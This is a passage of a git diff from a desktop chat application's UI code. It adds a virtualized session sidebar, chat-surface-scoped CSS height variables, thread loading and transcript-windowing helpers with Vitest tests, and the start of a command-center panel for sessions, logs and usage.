+  const paddingBottom = Math.max(0, totalSize - (virtualItems[virtualItems.length - 1]?.end ?? 0))
+
+  const rows = virtualItems.map(virtualItem => {
+    const row = listRows[virtualItem.index]
+
+    if (!row) {
+      return null
+    }
+
+    // Dividers are non-sortable, self-measured rows interleaved with sessions.
+    if (row.kind === 'divider') {
+      return (
+        <SidebarDateDivider
+          data-index={virtualItem.index}
+          key={row.key}
+          label={sessionBucketLabel(row.bucket, dividerLabels)}
+          ref={virtualizer.measureElement}
+        />
+      )
+    }
+
+    const { branchStem, session } = row.entry
+    const reorderable = sortable && !branchStem
+
+    const commonProps: SessionRowCommonProps = {
+      branchStem,
+      isPinned: pinned,
+      isSelected: session.id === activeSessionId,
+      isWorking: workingSessionIdSet.has(session.id),
+      onArchive: () => onArchiveSession(session.id),
+      onBranch: onBranchSession ? () => onBranchSession(session.id, session.profile) : undefined,
+      onDelete: () => onDeleteSession(session.id),
+      onPin: () => onTogglePin(sessionPinId(session)),
+      onResume: () => onResumeSession(session.id),
+      reorderable,
+      showProfile: showProfileTags
+    }
+
+    return reorderable ? (
+      <VirtualSortableRow
+        index={virtualItem.index}
+        key={session.id}
+        measureRef={virtualizer.measureElement}
+        rowProps={commonProps}
+        session={session}
+      />
+    ) : (
+      <SidebarSessionRow
+        {...commonProps}
+        data-index={virtualItem.index}
+        key={session.id}
+        ref={virtualizer.measureElement}
+        session={session}
+      />
+    )
+  })
+
+  // When sortable, the caller wraps this in a ReorderableList that owns the
+  // DndContext + SortableContext (keyed on the same ids); the virtualized rows
+  // just consume that context via useSortable.
+  return (
+    <div
+      className={cn('relative min-h-0 flex-1 overflow-x-hidden overflow-y-auto overscroll-contain', className)}
+      ref={scrollerRef}
+    >
+      <div className="grid gap-px" style={{ paddingBottom: `${paddingBottom}px`, paddingTop: `${paddingTop}px` }}>
+        {rows}
+      </div>
+    </div>
+  )
+}
+
+interface VirtualSortableRowProps {
+  index: number
+  measureRef: (node: Element | null) => void
+  rowProps: SessionRowCommonProps
+  session: SessionInfo
+}
+
+function VirtualSortableRow({ index, measureRef, rowProps, session }: VirtualSortableRowProps) {
+  const { attributes, isDragging, listeners, setNodeRef, transform, transition } = useSortable({ id: session.id })
+
+  // Merge dnd-kit's setNodeRef with the virtualizer's measureElement so
+  // the row participates in both DnD hit-testing and TanStack height
+  // measurement.
+  const refMerged = useCallback(
+    (node: HTMLDivElement | null) => {
+      setNodeRef(node)
+      measureRef(node)
+    },
+    [measureRef, setNodeRef]
+  )
+
+  return (
+    <SidebarSessionRow
+      {...rowProps}
+      data-index={index}
+      dragging={isDragging}
+      dragHandleProps={{ ...attributes, ...listeners }}
+      ref={refMerged}
+      reorderable
+      session={session}
+      style={{ transform: CSS.Transform.toString(transform), transition }}
+    />
+  )
+}
diff --git a/ui-desktop/src/app/chat/surface-vars.test.ts b/ui-desktop/src/app/chat/surface-vars.test.ts
new file mode 100644
index 000000000..fc8385e33
--- /dev/null
+++ b/ui-desktop/src/app/chat/surface-vars.test.ts
@@ -0,0 +1,89 @@
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { chatSurfaceRoot, clearSurfaceVar, COMPOSER_HEIGHT_VAR, setSurfaceVar } from './surface-vars'
+
+/**
+ * Regression: the thread's bottom gap going randomly huge and staying huge.
+ *
+ * `--thread-last-message-clearance` is `composer + status-stack + 2rem`, and
+ * both inputs are published by JS onto the owning `[data-chat-surface]`. The
+ * helpers used to fall back to `document.documentElement` when they couldn't
+ * find a surface — which is exactly the state a publisher is in once React has
+ * detached it. `:root` is where every surface's DEFAULTS live, so one such
+ * write becomes a global floor under every thread's clearance, inherited by
+ * every tab, until reload. Observed in the wild as
+ * `calc(56px + 176px + 2rem)`: a 176px status stack that had been gone for
+ * minutes, on a session that never had one.
+ */
+describe('surface measured-height vars', () => {
+  afterEach(() => {
+    document.documentElement.style.removeProperty(COMPOSER_HEIGHT_VAR)
+    document.body.replaceChildren()
+  })
+
+  function surface() {
+    const root = document.createElement('div')
+    root.setAttribute('data-chat-surface', '')
+
+    const publisher = document.createElement('div')
+    root.append(publisher)
+    document.body.append(root)
+
+    return { publisher, root }
+  }
+
+  it('publishes onto the owning surface, not the document root', () => {
+    const { publisher, root } = surface()
+
+    setSurfaceVar(publisher, COMPOSER_HEIGHT_VAR, '176px')
+
+    expect(root.style.getPropertyValue(COMPOSER_HEIGHT_VAR)).toBe('176px')
+    expect(document.documentElement.style.getPropertyValue(COMPOSER_HEIGHT_VAR)).toBe('')
+  })
+
+  it('never poisons the document root from a detached publisher', () => {
+    const { publisher } = surface()
+
+    // How the real leak happens: React removes the stack/composer div when it
+    // collapses, orphaning it from its surface, and a pending measurement
+    // publishes anyway. `closest()` from an orphan finds nothing.
+    publisher.remove()
+    setSurfaceVar(publisher, COMPOSER_HEIGHT_VAR, '176px')
+
+    expect(document.documentElement.style.getPropertyValue(COMPOSER_HEIGHT_VAR)).toBe('')
+  })
+
+  it('never poisons the document root from a publisher outside any surface', () => {
+    const orphan = document.createElement('div')
+    document.body.append(orphan)
+
+    setSurfaceVar(orphan, COMPOSER_HEIGHT_VAR, '176px')
+
+    expect(document.documentElement.style.getPropertyValue(COMPOSER_HEIGHT_VAR)).toBe('')
+  })
+
+  it('reports no owner for an orphaned or unowned node', () => {
+    const { publisher, root } = surface()
+    expect(chatSurfaceRoot(publisher)).toBe(root)
+
+    // A subtree detached whole still resolves — the surface is still an
+    // ancestor. Only losing the surface from the chain orphans the publisher.
+    root.remove()
+    expect(chatSurfaceRoot(publisher)).toBe(root)
+
+    publisher.remove()
+    expect(chatSurfaceRoot(publisher)).toBeNull()
+    expect(chatSurfaceRoot(null)).toBeNull()
+  })
+
+  it('clears from the captured surface and tolerates a missing one', () => {
+    const { publisher, root } = surface()
+    setSurfaceVar(publisher, COMPOSER_HEIGHT_VAR, '176px')
+
+    clearSurfaceVar(root, COMPOSER_HEIGHT_VAR)
+    expect(root.style.getPropertyValue(COMPOSER_HEIGHT_VAR)).toBe('')
+
+    expect(() => clearSurfaceVar(null, COMPOSER_HEIGHT_VAR)).not.toThrow()
+    expect(document.documentElement.style.getPropertyValue(COMPOSER_HEIGHT_VAR)).toBe('')
+  })
+})
diff --git a/ui-desktop/src/app/chat/surface-vars.ts b/ui-desktop/src/app/chat/surface-vars.ts
new file mode 100644
index 000000000..45ff7bf91
--- /dev/null
+++ b/ui-desktop/src/app/chat/surface-vars.ts
@@ -0,0 +1,51 @@
+/**
+ * Measured-height CSS vars, scoped to one chat surface.
+ *
+ * The composer and the out-of-flow status stack both publish their measured
+ * height so the thread can reserve bottom clearance for them. Those vars used
+ * to be written to `document.documentElement` — a single global slot — while
+ * the components writing them mount once per chat surface. Session tiles
+ * render a full ChatView (thread + composer + status stack) beside the
+ * workspace pane, so N surfaces raced for one value: a background tab with a
+ * tall stack inflated the foreground thread's padding and pushed its
+ * jump-to-bottom button into mid-screen.
+ *
+ * Publishing onto the surface's own root element instead makes each ChatView
+ * read its own measurement through normal CSS inheritance. Remeasuring on
+ * session switch cannot fix this — several surfaces are visible at once, so
+ * there is no single correct value to remeasure to.
+ *
+ * A measurement is only ever meaningful to the surface that owns it, so an
+ * unowned node has nowhere to publish to and must publish NOWHERE. Writing to
+ * the document root instead is not a graceful fallback: `:root` holds the
+ * defaults every surface inherits until it publishes its own, so one stale
+ * write there is a global floor under every thread's bottom clearance, on
+ * every tab, until reload. That is the "randomly huge gap at the bottom of the
+ * thread" bug — see surface-vars.test.ts.
+ */
+
+export const COMPOSER_HEIGHT_VAR = '--composer-measured-height'
+export const COMPOSER_SURFACE_HEIGHT_VAR = '--composer-surface-measured-height'
+
+/**
+ * The surface owning `el`, or null when `el` is detached or outside one.
+ *
+ * Null is the honest answer, not a failure to be papered over. Every publisher
+ * lives inside a `[data-chat-surface]` for its whole visible life (a
+ * popped-out composer is `position: fixed`, still a descendant), so the only
+ * way to miss is a node React already removed — whose measurement is stale by
+ * definition.
+ */
+export function chatSurfaceRoot(el: Element | null): HTMLElement | null {
+  return el?.closest<HTMLElement>('[data-chat-surface]') ?? null
+}
+
+/** Publish a measured-height var on the surface owning `el`. No owner, no write. */
+export function setSurfaceVar(el: Element | null, name: string, value: string): void {
+  chatSurfaceRoot(el)?.style.setProperty(name, value)
+}
+
+/** Clear a measured-height var from `root`. */
+export function clearSurfaceVar(root: HTMLElement | null, name: string): void {
+  root?.style.removeProperty(name)
+}
diff --git a/ui-desktop/src/app/chat/thread-loading.test.ts b/ui-desktop/src/app/chat/thread-loading.test.ts
new file mode 100644
index 000000000..63ddf98b3
--- /dev/null
+++ b/ui-desktop/src/app/chat/thread-loading.test.ts
@@ -0,0 +1,34 @@
+import { describe, expect, it } from 'vitest'
+
+import type { ChatMessage } from '@/lib/chat-messages'
+
+import { lastVisibleMessageIsUser, threadLoadingState } from './thread-loading'
+
+function message(id: string, role: ChatMessage['role'], hidden = false): ChatMessage {
+  return {
+    id,
+    role,
+    parts: [{ type: 'text', text: `${role}:${id}` }],
+    hidden
+  }
+}
+
+describe('thread loading state', () => {
+  it('returns session when routed session is still hydrating', () => {
+    expect(threadLoadingState(true, true, true, false)).toBe('session')
+  })
+
+  it('returns response while awaiting an assistant reply to the last visible user message', () => {
+    const messages = [message('u1', 'user'), message('a1', 'assistant', true)]
+
+    expect(lastVisibleMessageIsUser(messages)).toBe(true)
+    expect(threadLoadingState(false, true, true, lastVisibleMessageIsUser(messages))).toBe('response')
+  })
+
+  it('does not show response loading when the last visible message is not user-authored', () => {
+    const messages = [message('u1', 'user'), message('a1', 'assistant')]
+
+    expect(lastVisibleMessageIsUser(messages)).toBe(false)
+    expect(threadLoadingState(false, true, true, lastVisibleMessageIsUser(messages))).toBeUndefined()
+  })
+})
diff --git a/ui-desktop/src/app/chat/thread-loading.ts b/ui-desktop/src/app/chat/thread-loading.ts
new file mode 100644
index 000000000..05cfb0867
--- /dev/null
+++ b/ui-desktop/src/app/chat/thread-loading.ts
@@ -0,0 +1,31 @@
+import type { ChatMessage } from '@/lib/chat-messages'
+
+export type ThreadLoadingState = 'response' | 'session'
+
+export function lastVisibleMessageIsUser(messages: ChatMessage[]): boolean {
+  // Allocation-free reverse scan — runs in a hot $messages computed.
+  for (let i = messages.length - 1; i >= 0; i -= 1) {
+    if (!messages[i].hidden) {
+      return messages[i].role === 'user'
+    }
+  }
+
+  return false
+}
+
+export function threadLoadingState(
+  loadingSession: boolean,
+  busy: boolean,
+  awaitingResponse: boolean,
+  lastVisibleIsUser: boolean
+): ThreadLoadingState | undefined {
+  if (loadingSession) {
+    return 'session'
+  }
+
+  if (busy && awaitingResponse && lastVisibleIsUser) {
+    return 'response'
+  }
+
+  return undefined
+}
diff --git a/ui-desktop/src/app/chat/transcript-window.test.ts b/ui-desktop/src/app/chat/transcript-window.test.ts
new file mode 100644
index 000000000..a09793cd3
--- /dev/null
+++ b/ui-desktop/src/app/chat/transcript-window.test.ts
@@ -0,0 +1,139 @@
+import { describe, expect, it } from 'vitest'
+
+import type { ChatMessage } from '@/lib/chat-messages'
+import { RENDER_WEIGHT_CHARS } from '@/lib/render-weight'
+
+import {
+  alignToBranchGroup,
+  selectTranscriptWindow,
+  TRANSCRIPT_WINDOW_BUDGET,
+  TRANSCRIPT_WINDOW_MIN_MESSAGES
+} from './transcript-window'
+
+const message = (id: string, chars: number, branchGroupId?: string): ChatMessage => ({
+  id,
+  parts: [{ type: 'text', text: 'x'.repeat(chars) }],
+  role: id.startsWith('u') ? 'user' : 'assistant',
+  ...(branchGroupId ? { branchGroupId } : {})
+})
+
+/** Messages of `chars` each, newest last. */
+const transcript = (count: number, chars: number): ChatMessage[] =>
+  Array.from({ length: count }, (_, i) => message(`m-${i}`, chars))
+
+describe('selectTranscriptWindow', () => {
+  it('does not window a transcript that fits the budget', () => {
+    const messages = transcript(50, 100)
+
+    const window = selectTranscriptWindow(messages)
+
+    expect(window.windowed).toBe(false)
+    // Reference identity preserved — a fresh array would re-render the runtime.
+    expect(window.messages).toBe(messages)
+  })
+
+  it('windows a HEAVY-but-SHORT transcript that a message-count cap would miss', () => {
+    // 40 messages, each a big tool result. Well under any sane count cap, but
+    // this is the shape that exhausts the renderer heap (#55191).
+    const messages = transcript(40, RENDER_WEIGHT_CHARS * 400)
+
+    const window = selectTranscriptWindow(messages)
+
+    expect(window.windowed).toBe(true)
+    expect(window.messages.length).toBeLessThan(messages.length)
+    expect(window.messages.at(-1)).toBe(messages.at(-1))
+  })
+
+  it('keeps far MORE messages when they are light than when they are heavy', () => {
+    // The contract is weight, not count: a message-count cap would treat these
+    // two identically. 500 tiny messages are cheaper than 500 tool results, so
+    // many more of them survive the same budget.
+    const light = selectTranscriptWindow(transcript(500, 20))
+    const heavy = selectTranscriptWindow(transcript(500, RENDER_WEIGHT_CHARS * 40))
+
+    expect(light.messages.length).toBeGreaterThan(heavy.messages.length * 10)
+  })
+
+  it('leaves a long transcript whole when the whole thing is cheap', () => {
+    const messages = transcript(600, 20)
+
+    const window = selectTranscriptWindow(messages)
+
+    expect(window.windowed).toBe(false)
+    expect(window.messages).toBe(messages)
+  })
+
+  it('keeps a floor of messages when single turns are enormous', () => {
+    const messages = transcript(80, RENDER_WEIGHT_CHARS * TRANSCRIPT_WINDOW_BUDGET)
+
+    const window = selectTranscriptWindow(messages)
+
+    expect(window.messages.length).toBeGreaterThanOrEqual(TRANSCRIPT_WINDOW_MIN_MESSAGES)
+  })
+
+  it('grows by one budget page per expand and eventually covers everything', () => {
+    const messages = transcript(400, RENDER_WEIGHT_CHARS * 40)
+
+    const first = selectTranscriptWindow(messages, 1)
+    const second = selectTranscriptWindow(messages, 2)
+
+    expect(first.windowed).toBe(true)
+    expect(second.messages.length).toBeGreaterThan(first.messages.length)
+
+    let pages = 1
+    let window = selectTranscriptWindow(messages, pages)
+
+    while (window.windowed && pages < 100) {
+      window = selectTranscriptWindow(messages, ++pages)
+    }
+
+    // Paging terminates at the full transcript — never a dead end.
+    expect(window.windowed).toBe(false)
+    expect(window.messages).toHaveLength(messages.length)
+  })
+
+  it('never cuts inside a branch group, so branches keep their fork point', () => {
+    const heavy = RENDER_WEIGHT_CHARS * 200
+
+    // A branch group sits right where a weight-only cut would land.
+    const messages: ChatMessage[] = [
+      ...transcript(20, heavy),
+      message('a-branch-1', heavy, 'group-1'),
+      message('a-branch-2', heavy, 'group-1'),
+      message('a-branch-3', heavy, 'group-1'),
+      ...transcript(20, heavy).map(m => ({ ...m, id: `tail-${m.id}` }))
+    ]
+
+    for (let pages = 1; pages <= 6; pages++) {
+      const kept = selectTranscriptWindow(messages, pages).messages
+      const groupMembers = kept.filter(m => m.branchGroupId === 'group-1')
+
+      // Either the whole group survives or none of it does — never a partial
+      // group, which would re-parent the surviving branches.
+      expect([0, 3]).toContain(groupMembers.length)
+    }
+  })
+
+  it('handles an empty transcript', () => {
+    const messages: ChatMessage[] = []
+
+    expect(selectTranscriptWindow(messages)).toEqual({ messages, windowed: false })
+  })
+})
+
+describe('alignToBranchGroup', () => {
+  const messages = [message('u-1', 10), message('a-1', 10, 'g'), message('a-2', 10, 'g'), message('u-2', 10)]
+
+  it('widens a cut that lands mid-group back to the group start', () => {
+    expect(alignToBranchGroup(messages, 2)).toBe(1)
+  })
+
+  it('leaves a cut on a non-branch message alone', () => {
+    expect(alignToBranchGroup(messages, 3)).toBe(3)
+  })
+
+  it('clamps out-of-range indices', () => {
+    expect(alignToBranchGroup(messages, -5)).toBe(0)
+    expect(alignToBranchGroup(messages, 99)).toBe(messages.length)
+  })
+})
diff --git a/ui-desktop/src/app/chat/transcript-window.ts b/ui-desktop/src/app/chat/transcript-window.ts
new file mode 100644
index 000000000..2baeb0d49
--- /dev/null
+++ b/ui-desktop/src/app/chat/transcript-window.ts
@@ -0,0 +1,108 @@
+import type { ChatMessage } from '@/lib/chat-messages'
+import { messageStoreWeight } from '@/lib/render-weight'
+
+/**
+ * Bound what reaches assistant-ui at all.
+ *
+ * Rendering the full transcript of an oversized session rebuilds an unbounded
+ * runtime repository on every store update and exhausts the renderer's V8 heap
+ * (#55191). The DOM budget in `thread/list.tsx` already bounds what PAINTS, but
+ * every message still gets normalized into the repository first — so a session
+ * only has to be heavy, not visible, to crash the window.
+ *
+ * The window spends the same currency as the DOM budget: render weight, not
+ * message count. A count cap gets this wrong in both directions — measured on a
+ * real 1,175-session store, a 400-message cap would disable itself on 37
+ * sessions that are heavy but short (one was 133 messages / 1.05MB) while
+ * engaging on 92 long-but-light sessions that were never at risk.
+ */
+
+/**
+ * One window page, in render-weight units.
+ *
+ * Four DOM pages (the `RENDER_BUDGET` of 300 in `thread/list.tsx`). "Show
+ * earlier" spends the DOM budget first, so the user pages through the
+ * already-materialized window three times before this asks the store for more
+ * — and the reported crash shape (~231K tokens ≈ 2,260 units) is windowed
+ * rather than handed to the repository whole.
+ */
+export const TRANSCRIPT_WINDOW_BUDGET = 1200
+
+/**
+ * Floor on messages kept regardless of weight. A transcript of enormous turns
+ * must still render the turn the user is having; without this a single
+ * multi-megabyte tool result could window everything after it away.
+ */
+export const TRANSCRIPT_WINDOW_MIN_MESSAGES = 30
+
+export interface TranscriptWindow {
+  /** The tail assistant-ui is allowed to materialize. */
+  messages: ChatMessage[]
+  /** Store holds older messages than this window. */
+  windowed: boolean
+}
+
+/**
+ * Widen a cut backwards so it never lands inside an assistant branch group.
+ *
+ * `useRuntimeMessageRepository` records a group's fork point the first time it
+ * sees the group (`branchParentByGroup`). A cut through the middle of a group
+ * therefore anchors the surviving branches to whatever message happens to
+ * precede them in the window — silently re-parenting a branch. Include the
+ * whole group or none of it.
+ */
+export function alignToBranchGroup(messages: readonly ChatMessage[], start: number): number {
+  if (start <= 0 || start >= messages.length) {
+    return Math.max(0, Math.min(start, messages.length))
+  }
+
+  const group = messages[start].branchGroupId
+
+  if (!group) {
+    return start
+  }
+
+  let aligned = start
+
+  while (aligned > 0 && messages[aligned - 1].branchGroupId === group) {
+    aligned--
+  }
+
+  return aligned
+}
+
+/**
+ * Select the tail of the transcript that fits one window, grown by `pages`.
+ *
+ * Walks newest-first accumulating weight until the budget is met, keeps at
+ * least MIN messages, then aligns the cut off a branch-group boundary.
+ */
+export function selectTranscriptWindow(messages: readonly ChatMessage[], pages = 1): TranscriptWindow {
+  const budget = TRANSCRIPT_WINDOW_BUDGET * Math.max(1, Math.floor(pages))
+
+  if (messages.length === 0) {
+    return { messages: messages as ChatMessage[], windowed: false }
+  }
+
+  let start = messages.length
+  let weight = 0
+
+  for (let i = messages.length - 1; i >= 0; i--) {
+    weight += messageStoreWeight(messages[i].parts)
+    start = i
+
+    if (weight >= budget && messages.length - i >= TRANSCRIPT_WINDOW_MIN_MESSAGES) {
+      break
+    }
+  }
+
+  start = alignToBranchGroup(messages, start)
+
+  if (start <= 0) {
+    // Preserve reference identity when the whole transcript fits: handing React
+    // a fresh array of the same messages re-renders the runtime for nothing.
+    return { messages: messages as ChatMessage[], windowed: false }
+  }
+
+  return { messages: messages.slice(start), windowed: true }
+}
diff --git a/ui-desktop/src/app/command-center/index.tsx b/ui-desktop/src/app/command-center/index.tsx
new file mode 100644
index 000000000..0b2c0f720
--- /dev/null
+++ b/ui-desktop/src/app/command-center/index.tsx
@@ -0,0 +1,692 @@
+import { type MouseEvent, type ReactNode, useCallback, useEffect, useMemo, useRef, useState } from 'react'
+
+import { getActionStatus, getLogs, getStatus, getUsageAnalytics, restartGateway, updateClawCodex } from '@/clawcodex'
+import type { ActionStatusResponse, AnalyticsResponse, StatusResponse } from '@/clawcodex'
+import { LogTail } from '@/components/chat/log-tail'
+import { PageLoader } from '@/components/page-loader'
+import { Button } from '@/components/ui/button'
+import { SearchField } from '@/components/ui/search-field'
+import { SegmentedControl } from '@/components/ui/segmented-control'
+import { ResponsiveTabs } from '@/components/ui/tab-dropdown'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { sessionTitle } from '@/lib/chat-runtime'
+import { compactNumber } from '@/lib/format'
+import {
+  Activity,
+  AlertCircle,
+  BarChart3,
+  Bookmark,
+  BookmarkFilled,
+  Download,
+  MessageCircle,
+  Trash2,
+  Wrench
+} from '@/lib/icons'
+import { exportSession } from '@/lib/session-export'
+import { fmtDateTime } from '@/lib/time'
+import { useStoreSelector } from '@/lib/use-session-slice'
+import { cn } from '@/lib/utils'
+import { upsertDesktopActionTask } from '@/store/activity'
+import { $pinnedSessionIds, pinSession, unpinSession } from '@/store/layout'
+import { $sessions, sessionPinId } from '@/store/session'
+
+import { useRefreshHotkey } from '../hooks/use-refresh-hotkey'
+import { useRouteEnumParam } from '../hooks/use-route-enum-param'
+import { OverlayMain, OverlayNav, OverlaySplitLayout } from '../overlays/overlay-split-layout'
+import { OverlayView } from '../overlays/overlay-view'
+
+import { MaintenancePanel } from './maintenance'
+
+export type CommandCenterSection = 'maintenance' | 'sessions' | 'system' | 'usage'
+
+const SECTIONS = ['sessions', 'system', 'usage', 'maintenance'] as const satisfies readonly CommandCenterSection[]
+
+const LOG_FILES = ['agent', 'errors', 'gateway', 'desktop'] as const
+const LOG_LEVELS = ['ALL', 'INFO', 'WARNING', 'ERROR'] as const
+
+const USAGE_PERIODS = [7, 30, 90] as const
+type UsagePeriod = (typeof USAGE_PERIODS)[number]
+
+// Stable empty arrays so the selector returns the same reference when we're
+// not on the Sessions tab — useStoreSelector bails out on Object.is, so the
+// component never re-renders from $sessions ticks while on System/Usage/etc.
+const EMPTY_SESSIONS: readonly never[] = []
+const EMPTY_PINNED: readonly string[] = []
+
+interface CommandCenterViewProps {
+  initialSection?: CommandCenterSection
+  onClose: () => void
+  onDeleteSession: (sessionId: string) => Promise<void>
+  // Accepted for call-site parity; navigation lives in the global Cmd+K palette.
+  onNavigateRoute?: (path: string) => void
+  onOpenSession: (sessionId: string) => void
+}
+
+function formatTimestamp(value?: number | null): string {
+  if (!value) {
+    return ''
+  }
+
+  const date = new Date(value * 1000)
+
+  if (Number.isNaN(date.getTime())) {
+    return ''
+  }
+
+  return fmtDateTime.format(date)
+}
+
+function useDebouncedValue<T>(value: T, delayMs: number): T {
+  const [debounced, setDebounced] = useState(value)
+
+  useEffect(() => {
+    const id = window.setTimeout(() => setDebounced(value), delayMs)
+
+    return () => window.clearTimeout(id)
+  }, [delayMs, value])
+
+  return debounced
+}
+
+function RowIconButton({
+  children,
+  className,
+  onClick,
+  title
+}: {
+  children: ReactNode
+  className?: string
+  onClick: (event: MouseEvent<HTMLButtonElement>) => void
+  title: string
+}) {
+  return (
+    <Tip label={title}>
+      <Button
+        aria-label={title}
+        className={cn('text-(--ui-text-tertiary) hover:bg-(--chrome-action-hover) hover:text-foreground', className)}
+        onClick={onClick}
+        size="icon-xs"
+        type="button"
+        variant="ghost"
+      >
+        {children}
+      </Button>
+    </Tip>
+  )
+}
+
+function EmptyPanel({ action, description, title }: { action?: ReactNode; description: string; title?: string }) {
+  return (
+    <div className="grid min-h-48 place-items-center px-6 text-center">
+      <div>
+        {title && (
+          <div className="text-[length:var(--conversation-text-font-size)] font-medium text-foreground">{title}</div>
+        )}
+        <div className="mt-1 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+          {description}
+        </div>
+        {action && <div className="mt-3 flex justify-center">{action}</div>}
+      </div>
+    </div>
+  )
+}
+
+export function CommandCenterView({ initialSection, onClose, onDeleteSession, onOpenSession }: CommandCenterViewProps) {
+  const { t } = useI18n()
+  const cc = t.commandCenter
+  // $sessions ticks on every streaming token (title updates, new sessions),
+  // but we only need the data on the Sessions tab. Subscribe conditionally so
+  // the System/Usage/Maintenance tabs don't re-render on every stream delta.
+  const [section, setSection] = useRouteEnumParam('section', SECTIONS, initialSection ?? 'sessions')
+  const sessions = useStoreSelector($sessions, s => (section === 'sessions' ? s : EMPTY_SESSIONS))
+  const pinnedSessionIds = useStoreSelector($pinnedSessionIds, s => (section === 'sessions' ? s : EMPTY_PINNED))
+
+  const [query, setQuery] = useState('')
+  const [status, setStatus] = useState<StatusResponse | null>(null)
+  const [logs, setLogs] = useState<string[]>([])
+  const [logFile, setLogFile] = useState<(typeof LOG_FILES)[number]>('agent')
+  const [logLevel, setLogLevel] = useState<(typeof LOG_LEVELS)[number]>('ALL')
+  const [logQuery, setLogQuery] = useState('')
+  const [systemLoading, setSystemLoading] = useState(false)
+  const [systemError, setSystemError] = useState('')
+  const [systemAction, setSystemAction] = useState<ActionStatusResponse | null>(null)
+  const [usagePeriod, setUsagePeriod] = useState<UsagePeriod>(30)
+  const [usage, setUsage] = useState<AnalyticsResponse | null>(null)
+  const [usageLoading, setUsageLoading] = useState(false)
+  const [usageError, setUsageError] = useState('')
+  const usageRequestRef = useRef(0)
+
+  const debouncedQuery = useDebouncedValue(query.trim(), 180)
+
+  const filteredSessions = useMemo(() => {
+    const sorted = [...sessions].sort((a, b) => {
+      const left = a.last_active || a.started_at || 0
+      const right = b.last_active || b.started_at || 0
+
+      return right - left
+    })
+
+    const needle = debouncedQuery.toLowerCase()
+
+    if (!needle) {
+      return sorted
+    }
+
+    return sorted.filter(session => {
+      const haystack = `${sessionTitle(session)} ${session.id}`.toLowerCase()
+
+      return haystack.includes(needle)
+    })
+  }, [debouncedQuery, sessions])
+
+  const refreshSystem = useCallback(async () => {
+    setSystemLoading(true)
+    setSystemError('')
+
+    try {
+      const [nextStatus, nextLogs] = await Promise.all([
+        getStatus(),
+        getLogs({
+          file: logFile,
+          level: logLevel,
+          lines: 200
+        })
+      ])
+
+      setStatus(nextStatus)
+      setLogs(nextLogs.lines)
+    } catch (error) {
+      setSystemError(error instanceof Error ? error.message : String(error))
+    } finally {
+      setSystemLoading(false)
+    }
+  }, [logFile, logLevel])
+
+  const refreshUsage = useCallback(async (days: UsagePeriod) => {
+    const requestId = usageRequestRef.current + 1
+    usageRequestRef.current = requestId
+    setUsageLoading(true)
+    setUsageError('')
+
+    try {
+      const response = await getUsageAnalytics(days)
+
+      if (usageRequestRef.current === requestId) {
+        setUsage(response)
+      }
+    } catch (error) {
+      if (usageRequestRef.current === requestId) {
+        setUsageError(error instanceof Error ? error.message : String(error))
+      }
+    } finally {
+      if (usageRequestRef.current === requestId) {
+        setUsageLoading(false)
+      }
+    }
+  }, [])
+
+  useEffect(() => {
+    // Refetch when the panel opens and whenever the log file/level filters
+    // change (refreshSystem's identity tracks them).
+    if (section === 'system') {
+      void refreshSystem()
+    }
+  }, [refreshSystem, section])
+
+  useEffect(() => {
+    if (section === 'usage') {
+      void refreshUsage(usagePeriod)
+    }
+  }, [refreshUsage, section, usagePeriod])
+
+  useRefreshHotkey(() => {
+    if (section === 'system') {
+      void refreshSystem()
+    } else if (section === 'usage') {
+      void refreshUsage(usagePeriod)
+    }
+  })
+
+  const sessionListHasResults = filteredSessions.length > 0
+
+  // Client-side substring filter over the fetched tail (matches `clawcodex logs --search`).
+  const visibleLogs = useMemo(() => {
+    const needle = logQuery.trim().toLowerCase()
+
+    if (!needle) {
+      return logs
+    }
+
+    return logs.filter(line => line.toLowerCase().includes(needle))
+  }, [logQuery, logs])
+
+  const runSystemAction = useCallback(
+    async (kind: 'restart' | 'update') => {
+      setSystemError('')
+
+      try {
+        const started = kind === 'restart' ? await restartGateway() : await updateClawCodex()
+        let nextStatus: ActionStatusResponse | null = null
+
+        for (let attempt = 0; attempt < 18; attempt += 1) {
+          await new Promise(resolve => window.setTimeout(resolve, 1200))
+          const polled = await getActionStatus(started.name, 180)
+          nextStatus = polled
+          setSystemAction(polled)
+          upsertDesktopActionTask(polled)
+
+          if (!polled.running) {
+            break
+          }
+        }
+
+        if (!nextStatus) {
+          const pendingStatus = {
+            exit_code: null,
+            lines: [cc.actionStartedWaiting],
+            name: started.name,
+            pid: started.pid,
+            running: true
+          }
+
+          setSystemAction(pendingStatus)
+          upsertDesktopActionTask(pendingStatus)
+        }
+      } catch (error) {
+        setSystemError(error instanceof Error ? error.message : String(error))
+      } finally {
+        void refreshSystem()
+      }
+    },
+    [cc, refreshSystem]
+  )
+
+  const navGroups = useMemo(
+    () =>
+      SECTIONS.map(value => ({
+        active: section === value,
+        icon:
+          value === 'sessions'
+            ? MessageCircle
+            : value === 'system'
+              ? Activity
+              : value === 'maintenance'
+                ? Wrench
+                : BarChart3,
+        id: value,
+        label: cc.sections[value],
+        onSelect: () => setSection(value)
+      })),
+    [cc, section, setSection]
+  )
+
+  return (
+    <OverlayView closeLabel={cc.close} onClose={onClose}>
+      <OverlaySplitLayout>
+        <OverlayNav groups={navGroups} />
+
+        <OverlayMain>
+          <header className="mb-4 flex items-center justify-between gap-3 max-[47.5rem]:mb-2">
+            {/* Redundant on narrow — the nav dropdown already names the section. */}
+            <div className="min-w-0 max-[47.5rem]:hidden">
+              <h2 className="text-[length:var(--conversation-text-font-size)] font-semibold text-foreground">
+                {cc.sections[section]}
+              </h2>
+              <p className="mt-0.5 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+                {cc.sectionDescriptions[section]}
+              </p>
+            </div>
+            <div className="flex shrink-0 items-center gap-2">
+              {section === 'sessions' && (
+                <SearchField
+                  containerClassName="max-w-[40vw]"
+                  onChange={next => setQuery(next)}
+                  placeholder={cc.searchPlaceholder}
+                  value={query}
+                />
+              )}
+              {section === 'usage' && (
+                <SegmentedControl
+                  onChange={id => setUsagePeriod(Number(id) as UsagePeriod)}
+                  options={USAGE_PERIODS.map(value => ({ id: String(value), label: cc.days(value) }))}
+                  value={String(usagePeriod)}
+                />
+              )}
+            </div>
+          </header>
+
+          {section === 'sessions' ? (
+            <div className="min-h-0 flex-1 overflow-y-auto">
+              {!sessionListHasResults ? (
+                <EmptyPanel description={debouncedQuery ? cc.noResults : cc.noSessions} />
